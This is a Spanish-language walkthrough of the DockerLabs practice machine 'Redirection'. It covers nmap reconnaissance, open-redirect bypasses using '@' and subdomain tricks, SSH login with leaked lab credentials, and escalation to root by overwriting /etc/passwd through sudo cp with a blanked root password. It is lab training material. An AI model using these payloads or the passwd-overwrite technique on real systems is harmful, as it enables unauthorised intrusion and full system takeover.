> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/redirection.md).

# Redirection

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Redirection** y pulsamos el botón de descarga.

Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que incluye tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `redirection.zip`:

```bash
7z x redirection.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FvqDCBOZuDXZDMSZoCyzt%2FPasted%20image%2020250822105209.png?alt=media&amp;token=836955c4-5d37-49db-9d7a-4202a2be8396" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `redirection.tar`:

```bash
bash auto_deploy.sh redirection.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FnPWsEuSlQW7ipHxiy3ub%2FPasted%20image%2020250822105237.png?alt=media&amp;token=db416d0c-22c9-4e8f-ac2c-7f13501ed4d4" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F0BXh49JTAogWq5Fq16rg%2FPasted%20image%2020250822111432.png?alt=media&amp;token=0f31dbe6-0ee7-459e-a5df-e6138b6c51a4" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos TCP, del 1 al 65535.
* `--open`: Muestra solo los puertos que están abiertos, omitiendo los cerrados o filtrados.
* `-sS`: Realiza un escaneo SYN (stealth scan) que no completa la conexión TCP.
* `--min-rate 5000`: Fuerza una velocidad mínima de 5000 paquetes por segundo, acelerando el escaneo.
* `-vvv`: Activa el nivel máximo de verbosidad, mostrando información detallada del proceso.
* `-n`: Evita la resolución DNS, usando solo direcciones IP.
* `-Pn`: Omite la detección de host activo, asumiendo que el host está disponible.
* `-oG allPorts`: Guarda los resultados del escaneo en formato grepable, en el archivo `allPorts`.

**Resultados del escaneo:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fypv6tREDH4DJ6FE97wFf%2FPasted%20image%2020250822105320.png?alt=media&amp;token=5fecc4b2-166b-4f5a-89d2-420229779b5f" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Realizamos un escaneo más exhaustivo para obtener información adicional sobre los puertos abiertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p22,80`: Especifica los puertos a escanear.
* `-sCV`: Combina la ejecución de scripts básicos de reconocimiento (`-sC`) con el escaneo de versiones (`-sV`).
* `-oN targeted`: Guarda los resultados del escaneo en formato normal, en el archivo `targeted`.

**Resultados del escaneo:**

* **Puerto 22:** `OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)`.
* **Puerto 80:** `Apache httpd 2.4.62 ((Debian))`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FklAkpKIFubU4ZDi1JPrn%2FPasted%20image%2020250822105345.png?alt=media&amp;token=b507c19a-86d7-48ac-a1d0-902a1eeaf048" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Accedemos al servicio HTTP a través del navegador utilizando la siguiente URL: `http://172.17.0.2`.

La interfaz nos presenta varios laboratorios diseñados para practicar la vulnerabilidad de **Open Redirect**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FPbIyThzT9om4nTKtPLKc%2FPasted%20image%2020250822105505.png?alt=media&amp;token=1d6f909e-59c0-464e-be96-2b1183fd5819" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Primer laboratorio**

Accedemos al primer laboratorio pulsando el botón "Ir a Laboratorio 1" en la página principal, o directamente mediante la siguiente URL: `http://172.17.0.2/laboratorio1/`.

Dentro del laboratorio, encontramos un botón que dice "Ir a otro sitio".

Al colocar el cursor sobre él, observamos que la URL de destino es: `http://172.17.0.2/laboratorio1/redirect.php?url=http://google.com`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F5WCUb9vg2ywEUfszv2ey%2FPasted%20image%2020250822105526.png?alt=media&amp;token=b9bd4091-3b0f-4540-877b-749ab6941f75" alt=""><figcaption></figcaption></figure>

Modificamos el parámetro `url` para redirigir a otro sitio externo, por ejemplo: `http://172.17.0.2/laboratorio1/redirect.php?url=https://dockerlabs.es`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fpg8svXEsa3I0UYmQP8xT%2FPasted%20image%2020250822105617.png?alt=media&amp;token=a750eeff-ed41-41c6-9a66-78e8df16ef76" alt=""><figcaption></figcaption></figure>

Al acceder a esta URL, comprobamos que la redirección se realiza correctamente.

Esto confirma que el parámetro no está siendo validado, evidenciando una vulnerabilidad de tipo **Open Redirect**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FstT1caRN0gZCn3Hm1OJ2%2FPasted%20image%2020250822105630.png?alt=media&amp;token=f708a15d-7d40-4f4a-95ae-35c4ffc86bdd" alt=""><figcaption></figcaption></figure>

#### **3.2. Segundo laboratorio**

Accedemos al segundo laboratorio desde el botón "Ir a Laboratorio 2" o mediante: `http://172.17.0.2/laboratorio2/`.

El botón "Ir a Google" redirige a: `http://172.17.0.2/laboratorio2/redirect.php?url=https://www.google.com`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FA64ja8A006wJy8PFUj7A%2FPasted%20image%2020250822105701.png?alt=media&amp;token=8dc90580-be40-4d93-a0e0-14cb2f7bd7ac" alt=""><figcaption></figcaption></figure>

Si intentamos modificar el parámetro como hicimos en el laboratorio anterior, la redirección no se ejecuta.

Sin embargo, al aplicar una técnica de evasión utilizando el símbolo `@`, logramos redirigir a otro dominio: `http://172.17.0.2/laboratorio2/redirect.php?url=https://www.google.com@dockerlabs.es`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F5xad3XKbmIjGqEdUdyBq%2FPasted%20image%2020250822105745.png?alt=media&amp;token=0d158425-4e99-4ec9-9ed5-b915849d1db9" alt=""><figcaption></figcaption></figure>

La redirección se realiza correctamente, lo que demuestra que la validación es insuficiente y la vulnerabilidad persiste.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FVZIYInk1HBfFLOTRbOmm%2FPasted%20image%2020250822105751.png?alt=media&amp;token=5b9b6b1b-5d21-48a9-894d-a00cd0117db8" alt=""><figcaption></figcaption></figure>

#### **3.3. Tercer laboratorio**

Accedemos al tercer laboratorio desde el botón "Ir a Laboratorio 3" o directamente mediante: `http://172.17.0.2/laboratorio3/`.

La URL de redirección es: `http://172.17.0.2/laboratorio3/redirect.php?url=https://www.google.com`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fn2qgRClobndvglqDLNYM%2FPasted%20image%2020250822105817.png?alt=media&amp;token=dac24391-58d6-46e7-8dfd-c758a489a814" alt=""><figcaption></figcaption></figure>

Este laboratorio está mejor configurado: no permite redirecciones a dominios externos, pero sí a subdominios del dominio permitido.

Por ejemplo, probamos con: `http://172.17.0.2/laboratorio3/redirect.php?url=https://ejemplo.google.com`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FyriVyhb1xlA4dguqZ07o%2FPasted%20image%2020250822105900.png?alt=media&amp;token=c3e0fd7a-3865-483a-8e44-bffb89519649" alt=""><figcaption></figcaption></figure>

Aunque el subdominio no existe, la redirección se intenta, lo que confirma que la validación permite subdominios.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F2a3oqDnZVKgpG1kkUnBo%2FPasted%20image%2020250822105916.png?alt=media&amp;token=5b65d17f-584e-4deb-9616-f7514b395fcd" alt=""><figcaption></figcaption></figure>

Probamos ahora con un subdominio válido: `http://172.17.0.2/laboratorio3/redirect.php?url=https://maps.google.com`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FoORo8zTgXnRxM80i2ycs%2FPasted%20image%2020250822105945.png?alt=media&amp;token=ff114e57-3f7f-4750-9e6a-c353cdbf5b8c" alt=""><figcaption></figcaption></figure>

La redirección se realiza correctamente, lo que indica que hemos completado satisfactoriamente este laboratorio.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F5V5RLRTFQTVgnDAHxcBS%2FPasted%20image%2020250823092443.png?alt=media&amp;token=38025e29-ec41-4915-b433-ac87032b2d70" alt=""><figcaption></figcaption></figure>

#### **3.4. Obtención de credenciales SSH**

Al completar los tres laboratorios, hacemos clic en el botón "Clic Aquí Cuando hayas Completado los Laboratorios".

Se nos muestran las credenciales para acceder por SSH a la máquina objetivo: `balu:balulero`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Ff1F0LAhlw6AJE31v3yoa%2FPasted%20image%2020250822110051.png?alt=media&amp;token=a5ebad94-92ba-4eb4-944b-b04f15b139da" alt=""><figcaption></figcaption></figure>

Nos conectamos por SSH utilizando las credenciales proporcionadas:

```bash
ssh balu@172.17.0.2
```

Confirmamos que estamos dentro de la máquina como el usuario `balu`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FfEZbO1UE9WhcaG9Om9vg%2FPasted%20image%2020250822110142.png?alt=media&amp;token=ea011cdd-fe1d-4faf-9cb8-46f6db22a8c7" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Escalada a balulito**

Mientras exploramos los directorios del sistema, encontramos un archivo llamado `secret.bak` ubicado en la raíz.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FAHpaHRBE14qgClnpMHPj%2FPasted%20image%2020250822110242.png?alt=media&amp;token=631fab94-bb76-4da4-ba3f-adfdc7dc18d4" alt=""><figcaption></figcaption></figure>

Consultamos su contenido con el siguiente comando:

```bash
cat secret.bak
```

**El archivo nos proporciona nuevas credenciales:** `balulito:balulerochingon`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fs0FNOtF2HXZk765zUenZ%2FPasted%20image%2020250822110310.png?alt=media&amp;token=038e16dc-8257-4531-9f4c-408ceb4c6ff1" alt=""><figcaption></figcaption></figure>

Utilizamos estas credenciales para cambiar al usuario `balulito`:

```bash
su balulito
```

Confirmamos que estamos dentro del sistema como `balulito`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FI6ngfCu6j198BW61u856%2FPasted%20image%2020250822110335.png?alt=media&amp;token=9557b883-d1cb-495d-a004-bbd620637027" alt=""><figcaption></figcaption></figure>

#### **4.2. Escalada a root**

Ejecutamos el siguiente comando para listar los privilegios disponibles:

```bash
sudo -l
```

Observamos que el usuario `balulito` puede ejecutar el binario `/bin/cp` como `root` sin necesidad de contraseña.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FjNeLmcq2fM9UwGlgJeXT%2FPasted%20image%2020250822110410.png?alt=media&amp;token=4591e64c-4491-431f-85a1-b08a62b77483" alt=""><figcaption></figcaption></figure>

Consultamos el contenido actual del archivo `/etc/passwd`:

```bash
cat /etc/passwd
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FdFNYWQAey6XmWhJem7GE%2FPasted%20image%2020250822110500.png?alt=media&amp;token=ad259500-12a1-46e1-8132-56dc0276e7f6" alt=""><figcaption></figcaption></figure>

Copiamos el contenido y lo pegamos en un nuevo archivo dentro del directorio `/tmp`, donde tenemos permisos de escritura.

Creamos el archivo con:

```bash
nano passwd
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FKhNyQb45kMf4g9XffSKM%2FPasted%20image%2020250822110628.png?alt=media&amp;token=7ed18add-ff0c-4403-be99-caec34c4be3b" alt=""><figcaption></figcaption></figure>

Localizamos la línea correspondiente al usuario `root`:

```bash
root:x:0:0:root:/root:/bin/bash
```

Y la modificamos eliminando la `x`, que representa la existencia de una contraseña cifrada en `/etc/shadow`.

La línea queda así:

```bash
root::0:0:root:/root:/bin/bash
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FHrq8J1zUzXqLgO9ncrJ7%2FPasted%20image%2020250822110640.png?alt=media&amp;token=d46f3a49-2b0b-4509-99ea-b38625b6fe41" alt=""><figcaption></figcaption></figure>

Guardamos el archivo y lo sobrescribimos en su ubicación original utilizando el binario `/bin/cp`:

```bash
sudo -u root /bin/cp /tmp/passwd /etc/passwd
```

Una vez sobrescrito el archivo, accedemos como usuario `root` sin necesidad de contraseña:

```bash
su root
```

Confirmamos que hemos escalado privilegios correctamente y ahora tenemos control total sobre la máquina objetivo.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FPMklMHWGydzgyAHuWspP%2FPasted%20image%2020250822110726.png?alt=media&amp;token=aadb7ec2-feb0-4e61-b349-1fe80c751655" alt=""><figcaption></figcaption></figure>
